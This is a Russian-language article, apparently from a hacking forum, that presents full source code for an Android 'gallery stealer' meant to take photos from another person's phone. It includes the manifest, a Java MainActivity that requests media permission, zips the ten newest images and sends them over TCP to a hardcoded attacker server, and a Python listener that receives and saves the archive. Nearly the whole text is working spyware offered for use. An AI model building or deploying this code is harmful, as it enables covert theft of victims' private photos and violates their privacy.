Android Gallery Stealer – Source Code

Android Gallery Stealer – Source Code

Решил написать небольшую статью для тех, кто по каким-то неведомым мне причинам хочет получить фотографии из галереи другого человека.

Статья не самая большая, но думаю, будет интересна.

Как обычно, код клиента я буду писать на Java(A).

Возможно, у некоторых возникнет вопрос, что означает “A” после Java. 
Это неофициальное обозначение изменённой Java, используемой на Android
Код сервера в этот раз будет не на C# + WPF, а на Python, так как мне было лень использовать что-то более сложное. 

Общение между клиентом и сервером осуществляется по TCP, при этом IP и порт сервера зашиты в коде клиента.

Начнем с кода клиента.
В первую очередь как обычно у нас AndroidManifest.xml:
Код: 
<uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />Хочу добавить что пример с таким подходом работает на самых новых версиях Android 
как 13/14 и если вы хотите использовать код на более старых версиях 12,11,10… То вам 
нужно будет изменить логику в целом и использовать доступ к файлам –

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

Целый код будет выглядеть так

XML: 

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
    
    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.GallGrabNMZ"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

Затем у нас код MainActivity.java с основной логикой:

Java: 

private static final int REQUEST_PERMISSIONS = 100;
private static final String SERVER_IP = "0.0.0.0"; //Ip сервера
private static final int SERVER_PORT = 7777; //порт

Тут ваш ip:p сервера на который будут отправлены данные.

Java: 

 if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
        } else {
            new ZipAndSendTask().execute();
        }
    }
    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
                && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

            new ZipAndSendTask().execute();
        } else {

            Log.e("MainActivity", "Разрешение не предоставлено");
        }
    }

Проверка предоставленных разрешений.
Далее в коде будет представлена сама логика работы, но перед этим я хочу объяснить, как всё устроено.

Сначала код запрашивает разрешение на доступ к медиаконтенту. После этого он получает 10 последних изображений из галереи
и упаковывает их в файл .zip для удобной отправки. Затем код отправляет этот файл на сервер через TCP-соединение.

разрешения -> получение данных -> упаковка -> отправка -> получение сервером


Продолжим кодом который получает изображения:

Java: 

private ArrayList<String> getLastImages(int count) {
            ArrayList<String> imagePaths = new ArrayList<>();
            String[] projection = {MediaStore.Images.Media.DATA};
            Cursor cursor = getContentResolver().query(
                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                    projection, null, null,
                    MediaStore.Images.Media.DATE_ADDED + " DESC");

            if (cursor != null) {
                int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
                while (cursor.moveToNext() && imagePaths.size() < count) {
                    imagePaths.add(cursor.getString(dataIndex));
                }
                cursor.close();
            }
            return imagePaths;
        }

Теперь код который упакует данные в .zip архив: 

Java: 

private File zipImages(ArrayList<String> imagePaths) {
            try {
                File zipFile = new File(getCacheDir(), "images.zip");
                ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));

                for (String imagePath : imagePaths) {
                    File imageFile = new File(imagePath);
                    FileInputStream fis = new FileInputStream(imageFile);
                    ZipEntry zipEntry = new ZipEntry(imageFile.getName());
                    zos.putNextEntry(zipEntry);

                    byte[] buffer = new byte[1024];
                    int length;
                    while ((length = fis.read(buffer)) > 0) {
                        zos.write(buffer, 0, length);
                    }
                    zos.closeEntry();
                    fis.close();
                }
                zos.close();
                return zipFile;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }



Код для отправки .zip на сервер:

Java: 

 private void sendZipToServer(File zipFile) {
            try {
                Socket socket = new Socket(SERVER_IP, SERVER_PORT);
                OutputStream os = new BufferedOutputStream(socket.getOutputStream());
                FileInputStream fis = new FileInputStream(zipFile);

                byte[] buffer = new byte[1024];
                int length;
                while ((length = fis.read(buffer)) > 0) {
                    os.write(buffer, 0, length);
                }

                os.flush();
                os.close();
                fis.close();
                socket.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

И напоследок представлю код, который в самом начале вызывается и выполняет описанные выше функции.
Этот код получает 10 последних изображений из списка:

Java: 

 private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
        @Override
        protected Void doInBackground(Void... voids) {
            try {
                ArrayList<String> imagePaths = getLastImages(10); //колво изображений
                if (!imagePaths.isEmpty()) {
                    // Упаковываем
                    File zipFile = zipImages(imagePaths);
                    if (zipFile != null) {
                        // Отправляем
                        sendZipToServer(zipFile);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }

На этом код клиента закончен. 
Полный код MainActivity.java

Java: 

package xss.nmz.gallgrab_nmz;

import android.Manifest;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class MainActivity extends AppCompatActivity {

    private static final int REQUEST_PERMISSIONS = 100;
    private static final String SERVER_IP = "";
    private static final int SERVER_PORT = ;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Проверка разрешений
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
        } else {
            new ZipAndSendTask().execute();
        }
    }
    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
                && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

            new ZipAndSendTask().execute();
        } else {

            Log.e("MainActivity", "Разрешение не предоставлено");
        }
    }

    private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
        @Override
        protected Void doInBackground(Void... voids) {
            try {
                ArrayList<String> imagePaths = getLastImages(10); //колво изображений
                if (!imagePaths.isEmpty()) {
                    // Упаковываем
                    File zipFile = zipImages(imagePaths);
                    if (zipFile != null) {
                        // Отправляем
                        sendZipToServer(zipFile);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }


        private ArrayList<String> getLastImages(int count) {
            ArrayList<String> imagePaths = new ArrayList<>();
            String[] projection = {MediaStore.Images.Media.DATA};
            Cursor cursor = getContentResolver().query(
                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                    projection, null, null,
                    MediaStore.Images.Media.DATE_ADDED + " DESC");

            if (cursor != null) {
                int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
                while (cursor.moveToNext() && imagePaths.size() < count) {
                    imagePaths.add(cursor.getString(dataIndex));
                }
                cursor.close();
            }
            return imagePaths;
        }

        // Упаковка
        private File zipImages(ArrayList<String> imagePaths) {
            try {
                File zipFile = new File(getCacheDir(), "images.zip");
                ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));

                for (String imagePath : imagePaths) {
                    File imageFile = new File(imagePath);
                    FileInputStream fis = new FileInputStream(imageFile);
                    ZipEntry zipEntry = new ZipEntry(imageFile.getName());
                    zos.putNextEntry(zipEntry);

                    byte[] buffer = new byte[1024];
                    int length;
                    while ((length = fis.read(buffer)) > 0) {
                        zos.write(buffer, 0, length);
                    }
                    zos.closeEntry();
                    fis.close();
                }
                zos.close();
                return zipFile;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }

        // Отправка
        private void sendZipToServer(File zipFile) {
            try {
                Socket socket = new Socket(SERVER_IP, SERVER_PORT);
                OutputStream os = new BufferedOutputStream(socket.getOutputStream());
                FileInputStream fis = new FileInputStream(zipFile);

                byte[] buffer = new byte[1024];
                int length;
                while ((length = fis.read(buffer)) > 0) {
                    os.write(buffer, 0, length);
                }

                os.flush();
                os.close();
                fis.close();
                socket.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

Теперь перейдем к простому коду сервера на Python:

Python: 

import socket

def start_server():
    server_ip = "0.0.0.0"
    server_port = 4444
    buffer_size = 1024
    output_file = "received_images.zip"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
        server_socket.bind((server_ip, server_port))
        server_socket.listen(1)
        print(f"Сервер запущен{server_ip}:{server_port}")

        conn, addr = server_socket.accept()
        with conn:
            print(f"Подключено {addr}")
            with open(output_file, "wb") as file:
                while True:
                    data = conn.recv(buffer_size)
                    if not data:
                        break
                    file.write(data)

            print(f"Файл сохранен{output_file}")

if __name__ == "__main__":
    start_server()

Сервер крайне простой без никаких фильтров и тд. 
сохраняет лог в файл received_images.zip в директории с самим собой.

Благодарю за внимание!

Если у вас есть какие-либо вопросы или дополнения к статье, буду рад обсудить их или помочь с пояснениями.